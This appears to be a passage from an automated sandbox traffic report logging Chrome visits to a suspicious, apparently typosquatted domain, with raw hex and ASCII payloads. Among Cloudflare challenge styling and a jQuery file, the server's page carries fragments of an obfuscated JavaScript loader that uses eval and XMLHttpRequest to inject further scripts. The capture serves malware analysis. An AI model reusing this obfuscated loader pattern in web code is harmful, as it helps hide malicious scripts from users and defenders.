2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 Data Ascii: 3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPS
2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 Data Ascii: t-red{color:#b20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGV
2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 65 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: e}body.light .lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background
2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 74 3b 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d Data Ascii: t;color:#0051c3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.m
2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 35 4e 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e Data Ascii: 5Ny4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challen
2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d Data Ascii: to;max-width:60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom
2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 3a 62 6c 6f 63 6b 7d 7d 2e 72 74 6c 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 Data Ascii: :block}}.rtl .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http
2024-04-18 21:05:40 UTC	1369	IN	Data Raw: 73 35 74 63 46 45 79 34 42 53 4f 4e 69 30 68 50 32 32 5a 72 78 59 36 48 7a 59 4d 36 46 57 6e 65 4b 49 5f 59 57 4d 56 72 77 58 4f 6a 41 73 73 4f 50 57 2e 38 74 57 51 37 4f 66 67 58 75 55 46 51 70 41 6d 54 41 52 6d 53 37 67 74 64 61 52 52 76 78 43 46 51 70 36 5f 77 47 42 71 32 34 46 56 55 35 4d 34 6d 39 62 49 75 5a 7a 53 30 30 4a 2e 4e 72 74 6e 31 43 69 51 6a 7a 55 63 79 36 53 6f 58 56 4f 6a 38 30 55 64 66 69 6b 6b 6a 49 79 45 65 49 33 66 41 46 51 57 4a 45 41 36 39 68 4b 52 6f 52 4a 37 6f 63 5a 31 71 41 2e 39 53 7a 62 66 67 5a 44 53 5a 54 4d 32 44 51 6d 72 46 32 46 68 41 4f 4f 71 2e 62 31 46 75 2e 38 64 48 6a 58 67 63 4b 4f 58 75 33 75 42 5f 5a 66 44 48 76 73 4f 34 4b 42 59 69 49 70 4b 79 34 69 5f 74 56 47 58 66 67 48 52 75 34 41 4d 46 4a 43 50 76 4e 72 63 Data Ascii: s5tcFEy4BSONi0hP22ZrxY6HzYM6FWneKI_YWMVrwXOjAssOPW.8tWQ7OfgXuUFQpAmTARmS7gtdaRRvxCFQp6_wGBq24FVU5M4m9bIuZzS00J.Nrtn1CiQjzUcy6SoXVOj80UdfikkjIyEeI3fAFQWJEA69hKRoRJ7ocZ1qA.9SzbfgZDSZTM2DQmrF2FhAOOq.b1Fu.8dHjXgcKOXu3uB_ZfDHvsO4KBYiIpKy4i_tVGXfgHRu4AMFJCPvNrc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49782	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:40 UTC	1403	OUT	GET /d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Referer: https://ridgelineexcavatoin.com/?__cf_chl_tk=BP5RxwfzMYJtunnS_MKgj1VoZVmxymZ5g5w27TbnMio-1713474330-0.0.1.1-1578 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:41 UTC	594	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gjmfw7uwpndXb%2F063iOR%2BtVo6952yTzbluL1TF%2ByP56vAMOe8F7YZ6GLU4fZ1JWp3SvUZzGbHvc0kBTJoE2pA5UTGtJBR%2FQ%2BgeKTUCmDvF%2BENrFqt6kgnlSR3i5oi4pr6tWT8ipBo12PRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d479c121357-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:41 UTC	775	IN	Data Raw: 31 31 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 6a 71 2f 38 61 35 35 38 36 30 66 32 63 61 65 33 35 38 65 35 36 30 61 61 35 66 35 35 38 35 36 63 37 63 31 36 36 32 31 38 62 32 35 35 34 30 66 30 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 Data Ascii: 1170<!DOCTYPE html><html><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title></title> <script src="jq/8a55860f2cae358e560aa5f55856c7c166218b25540f0"></script> <script sr
2024-04-18 21:05:41 UTC	1369	IN	Data Raw: 4b 28 30 78 31 35 62 29 29 2f 30 78 38 2a 28 70 61 72 73 65 49 6e 74 28 4b 28 27 30 78 31 38 30 27 29 29 2f 30 78 39 29 3b 69 66 28 58 3d 3d 3d 54 29 62 72 65 61 6b 3b 65 6c 73 65 20 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 79 29 7b 53 5b 27 70 75 73 68 27 5d 28 53 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 49 2c 30 78 36 64 65 66 31 29 29 3b 76 61 72 20 47 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 71 3d 21 21 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 54 2c 53 29 7b 76 61 72 20 58 3d 71 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 72 3b 69 66 28 53 29 7b 76 61 72 20 79 3d 53 5b 74 28 27 30 78 31 34 64 27 29 5d 28 54 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 Data Ascii: K(0x15b))/0x8*(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?function(){var t=r;if(S){var y=S[t('0x14d')](T,arguments);retu
2024-04-18 21:05:41 UTC	1369	IN	Data Raw: 30 78 31 34 30 29 5d 5b 6d 28 30 78 31 36 66 29 5d 28 66 29 2c 45 3d 58 5b 79 5d 2c 6e 3d 53 5b 45 5d 7c 7c 57 3b 57 5b 6d 28 27 30 78 31 34 39 27 29 5d 3d 66 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 66 29 2c 57 5b 6d 28 30 78 31 35 64 29 5d 3d 6e 5b 6d 28 30 78 31 35 64 29 5d 5b 6d 28 27 30 78 31 36 66 27 29 5d 28 6e 29 2c 53 5b 45 5d 3d 57 3b 7d 7d 29 3b 56 28 29 3b 76 61 72 20 78 68 74 74 70 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 76 61 72 20 67 3d 5b 27 62 69 6e 64 27 2c 27 6c 69 6e 6b 27 2c 27 63 68 61 69 6e 27 2c 27 32 71 6e 46 73 54 77 27 2c 27 72 65 73 70 6f 6e 73 65 54 65 78 74 27 2c 27 73 65 61 72 63 68 27 2c 27 2e 2f 31 27 2c 27 69 6e 69 74 27 2c 27 72 65 6c 27 2c 27 61 63 74 69 6f Data Ascii: 0x140)][m(0x16f)](f),E=X[y],n=S[E]\|\|W;W[m('0x149')]=f[m('0x16f')](f),W[m(0x15d)]=n[m(0x15d)][m('0x16f')](n),S[E]=W;}});V();var xhttp=new XMLHttpRequest();function I(){var g=['bind','link','chain','2qnFsTw','responseText','search','./1','init','rel','actio
2024-04-18 21:05:41 UTC	959	IN	Data Raw: 20 57 3d 53 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 39 29 29 3b 57 3f 58 5b 63 28 27 30 78 31 36 35 27 29 5d 28 57 29 3a 65 76 61 6c 28 53 5b 79 5d 5b 63 28 30 78 31 34 62 29 5d 29 3b 7d 76 61 72 20 45 3d 54 5b 63 28 30 78 31 36 64 29 5d 28 63 28 30 78 31 37 30 29 29 3b 66 6f 72 28 76 61 72 20 79 3d 30 78 30 3b 79 3c 45 5b 63 28 27 30 78 31 35 35 27 29 5d 3b 79 2b 2b 29 7b 76 61 72 20 6e 3d 45 5b 79 5d 5b 63 28 27 30 78 31 34 36 27 29 5d 28 63 28 30 78 31 35 61 29 29 3b 69 66 28 6e 26 26 6e 5b 63 28 27 30 78 31 37 64 27 29 5d 28 63 28 30 78 31 35 30 29 29 29 7b 76 61 72 20 75 3d 64 6f 63 75 6d 65 6e 74 5b 63 28 27 30 78 31 37 39 27 29 5d 28 63 28 27 30 78 31 37 30 27 29 29 3b 75 5b 63 28 30 78 31 34 65 29 5d 28 63 28 30 78 31 37 Data Ascii: W=S[y][c('0x146')](c(0x159));W?X[c('0x165')](W):eval(S[y][c(0x14b)]);}var E=T[c(0x16d)](c(0x170));for(var y=0x0;y<E[c('0x155')];y++){var n=E[y][c('0x146')](c(0x15a));if(n&&n[c('0x17d')](c(0x150))){var u=document[c('0x179')](c('0x170'));u[c(0x14e)](c(0x17
2024-04-18 21:05:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49783	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:41 UTC	1160	OUT	GET /jq/8a55860f2cae358e560aa5f55856c7c166218b25540f0 HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ridgelineexcavatoin.com/d740c10c7b9cf800d441f265844201e166218b24a22ffLOGd740c10c7b9cf800d441f265844201e166218b24a2301 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=OwALxd..I3f6O7Kkzn1gNzUhJSKDd4pMh.usBBUwTQ4-1713474330-1.0.1.1-W2zcQWlfJ3iRcpR7R8QbuU6c6_Q8F49yXuxDkQy5myHaZeMy2A3BE0WxBALNtwma_bTFacnulLk1jy0YVH2K9Q; PHPSESSID=de422855d9abb46951601081e5109730
2024-04-18 21:05:42 UTC	646	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:42 GMT Content-Type: text/javascript Content-Length: 85578 Connection: close Last-Modified: Tue, 16 Apr 2024 22:58:32 GMT Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Pvb2Te5akNLtsb6qYkEeoTjesx%2F53HW8M1rlcyHRAsA%2B8axxz%2FNPKcMtfqNrbjjxEbXTB0w72KDfxiE2NMuu2hnw6IHhOXk7w1c3r7Q%2BaW%2B2Ilgz3ONgOsmN81rUHToPSoa77kVR8je0A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87679d4cdb26b030-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:42 UTC	723	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 32 2e 34 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 6f 63 75 6d 65 6e Data Ascii: /! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a documen
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 6c 6c 21 3d 61 3f 30 3e 61 3f 74 68 69 73 5b 61 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 61 5d 3a 65 2e 63 61 6c 6c 28 74 68 69 73 29 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 6e 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 2e 63 6f 6e 74 65 78 74 3d 74 68 69 73 2e 63 6f 6e 74 65 78 74 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 6e 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 Data Ascii: ll!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,funct
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 72 72 61 79 28 61 29 26 26 62 2d 70 61 72 73 65 46 6c 6f 61 74 28 62 29 2b 31 3e 3d 30 7d 2c 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 6e 2e 74 79 70 65 28 61 29 7c 7c 61 2e 6e 6f 64 65 54 79 70 65 7c 7c 6e 2e 69 73 57 69 6e 64 6f 77 28 61 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 21 6b 2e 63 61 6c 6c 28 61 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 21 6b 2e 63 61 6c 6c 28 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 7b 7d 2c 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 29 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 62 20 69 6e 20 61 29 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d Data Ascii: rray(a)&&b-parseFloat(b)+1>=0},isPlainObject:function(a){var b;if("object"!==n.type(a)\|\|a.nodeType\|\|n.isWindow(a))return!1;if(a.constructor&&!k.call(a,"constructor")&&!k.call(a.constructor.prototype\|\|{},"isPrototypeOf"))return!1;for(b in a);return void 0=
2024-04-18 21:05:42 UTC	1369	IN	Data Raw: 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 2c 67 3d 30 2c 68 3d 5b 5d 3b 69 66 28 73 28 61 29 29 66 6f 72 28 64 3d 61 2e 6c 65 6e 67 74 68 3b 64 3e 67 3b 67 2b 2b 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 65 6c 73 65 20 66 6f 72 28 67 20 69 6e 20 61 29 65 3d 62 28 61 5b 67 5d 2c 67 2c 63 29 2c 6e 75 6c 6c 21 3d 65 26 26 68 2e 70 75 73 68 28 65 29 3b 72 65 74 75 72 6e 20 66 2e 61 70 70 6c 79 28 5b 5d 2c 68 29 7d 2c 67 75 69 64 3a 31 2c 70 72 6f 78 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 66 3b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 28 63 3d 61 5b 62 5d 2c 62 3d 61 2c 61 3d 63 29 2c 6e 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 Data Ascii: n(a,b,c){var 